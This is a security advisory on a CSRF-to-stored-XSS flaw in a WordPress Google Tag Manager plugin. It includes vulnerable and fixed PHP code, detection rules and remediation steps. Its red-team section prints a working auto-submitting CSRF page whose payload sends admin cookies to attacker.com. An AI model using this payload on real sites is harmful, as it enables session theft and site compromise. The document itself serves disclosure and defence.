CVE-2025-23537

Executive Summary

CVE-2025-23537 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin "add custom google tag manager" (slug: add-custom-google-tag-manager), affecting versions up to and including 1.0.3. The vulnerability allows an unauthenticated attacker to trick a logged-in administrator into performing unintended actions, such as modifying plugin settings or injecting malicious JavaScript. Due to the lack of CSRF protection, this flaw can be chained with Stored Cross-Site Scripting (XSS) to achieve persistent code execution in the admin panel.

This vulnerability is particularly dangerous in the WordPress ecosystem because it targets a plugin that handles Google Tag Manager integration, a common component for analytics and marketing. An attacker can exploit this to inject arbitrary scripts that execute in the context of the admin dashboard, potentially leading to full site compromise.

Supply Chain & Package Security

This is a WordPress plugin hosted on the official WordPress Plugin Directory. The plugin is not available via NPM, PyPI, Go, or Ruby registries. The supply chain risk is limited to the plugin's update mechanism; however, since no patch is available, users must manually remove or disable the plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link
• Scope: Changed (S:C) – impact extends beyond the vulnerable component
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited modification of data
• Availability Impact: None (A:N)

Threat Level: High. The combination of CSRF and Stored XSS allows an attacker to execute arbitrary JavaScript in the admin panel without authentication, potentially leading to privilege escalation or data theft.

Deep Dive & Mechanics

The vulnerability resides in the plugin's settings page, which lacks a CSRF nonce check. The plugin registers an admin menu page and processes form submissions without verifying the request origin. An attacker can craft a malicious HTML page that, when visited by an authenticated admin, submits a forged request to the plugin's settings endpoint.

The stored XSS component arises because the plugin does not sanitize or escape the Google Tag Manager ID input before saving it to the database. When the admin views the settings page, the injected script executes in the admin's browser session.

Attack Flow:

1. Attacker identifies a WordPress site using the vulnerable plugin.
2. Attacker crafts a CSRF payload that sets a malicious Google Tag Manager ID containing JavaScript (e.g., <script>alert('XSS')</script>).
3. Attacker lures an authenticated admin to visit the crafted page.
4. The admin's browser sends a forged POST request to /wp-admin/options-general.php?page=add-custom-google-tag-manager.
5. The plugin saves the malicious input without sanitization.
6. When the admin reloads the settings page, the stored XSS payload executes.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.0.3):

// In the plugin's main file (add-custom-google-tag-manager.php)
function acgtm_settings_page() {
    if (isset($_POST['acgtm_gtm_id'])) {
        update_option('acgtm_gtm_id', $_POST['acgtm_gtm_id']);
    }
    // No CSRF check, no nonce verification
    ?>
    <form method="post">
        <input type="text" name="acgtm_gtm_id" value="<?php echo get_option('acgtm_gtm_id'); ?>">
        <input type="submit" value="Save">
    </form>
    <?php
}

Patched Code (hypothetical fix):

function acgtm_settings_page() {
    if (isset($_POST['acgtm_gtm_id'])) {
        if (!wp_verify_nonce($_POST['_wpnonce'], 'acgtm_save_settings')) {
            wp_die('CSRF validation failed.');
        }
        $sanitized_id = sanitize_text_field($_POST['acgtm_gtm_id']);
        update_option('acgtm_gtm_id', $sanitized_id);
    }
    ?>
    <form method="post">
        <?php wp_nonce_field('acgtm_save_settings'); ?>
        <input type="text" name="acgtm_gtm_id" value="<?php echo esc_attr(get_option('acgtm_gtm_id')); ?>">
        <input type="submit" value="Save">
    </form>
    <?php
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress instance with the vulnerable plugin installed and activated.
• An authenticated admin session (cookie).

Step 1: Craft the CSRF Payload Create an HTML file (csrf_exploit.html) that automatically submits a forged request:

<html>
<body>
<form id="csrf_form" action="http://target-site.com/wp-admin/options-general.php?page=add-custom-google-tag-manager" method="POST">
    <input type="hidden" name="acgtm_gtm_id" value="GTM-XXXX<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>">
</form>
<script>document.getElementById('csrf_form').submit();</script>
</body>
</html>

Step 2: Host and Deliver Host the file on an attacker-controlled server and send the link to the admin (e.g., via email or social engineering).

Step 3: Verify Stored XSS Once the admin visits the link, the malicious GTM ID is saved. When the admin reloads the settings page, the script executes, exfiltrating cookies or performing other actions.

Blue Team (Defensive)

Detection:

• Monitor for unexpected POST requests to /wp-admin/options-general.php?page=add-custom-google-tag-manager from non-admin IPs.
• Look for unusual values in the acgtm_gtm_id option in the database (e.g., containing <script> tags).

Honeypot:

• Deploy a fake admin user with a honeypot session to detect CSRF attempts.

Mitigation:

• Immediately disable the plugin until a patch is released.
• Implement a Web Application Firewall (WAF) rule to block requests containing <script> in the acgtm_gtm_id parameter.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/add-custom-google-tag-manager/add-custom-google-tag-manager.php
• Database Option: acgtm_gtm_id containing malicious JavaScript (e.g., <script>alert(1)</script>)
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress admin panel
• Logs: POST requests to /wp-admin/options-general.php?page=add-custom-google-tag-manager with suspicious parameters

Detection Engineering

YARA Rule

rule CVE_2025_23537_CSRF_XSS {
    meta:
        description = "Detects malicious GTM ID values in WordPress options table"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-23537"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $gtm_option = "acgtm_gtm_id"
    condition:
        $gtm_option and $xss_payload
}

Sigma Rule

title: CVE-2025-23537 CSRF to Stored XSS in WordPress Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects CSRF exploitation attempts against the add-custom-google-tag-manager plugin
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/options-general.php'
        cs-uri-query: 'page=add-custom-google-tag-manager'
    condition: selection
falsepositives:
    - Legitimate admin actions
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-23537 CSRF to Stored XSS in WordPress Plugin"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/options-general.php"; http_uri; content:"page=add-custom-google-tag-manager"; http_uri; content:"acgtm_gtm_id"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete add-custom-google-tag-manager from the WordPress admin panel.
2. Audit the database – Check the wp_options table for the acgtm_gtm_id option and remove any suspicious values.
3. Rotate admin credentials – If any admin cookies were exfiltrated, force password resets.

Long-term Fix:

• The vendor must release a patched version that includes:
  • CSRF nonce verification on all form submissions.
  • Input sanitization using sanitize_text_field() or esc_html().
  • Output escaping using esc_attr() or esc_html().

Workaround:

• Implement a custom plugin that adds a nonce check to the vulnerable endpoint using the admin_post_ action.

Report generated by Valters IT DevSecOps Team
Valters IT – Securing Digital Ecosystems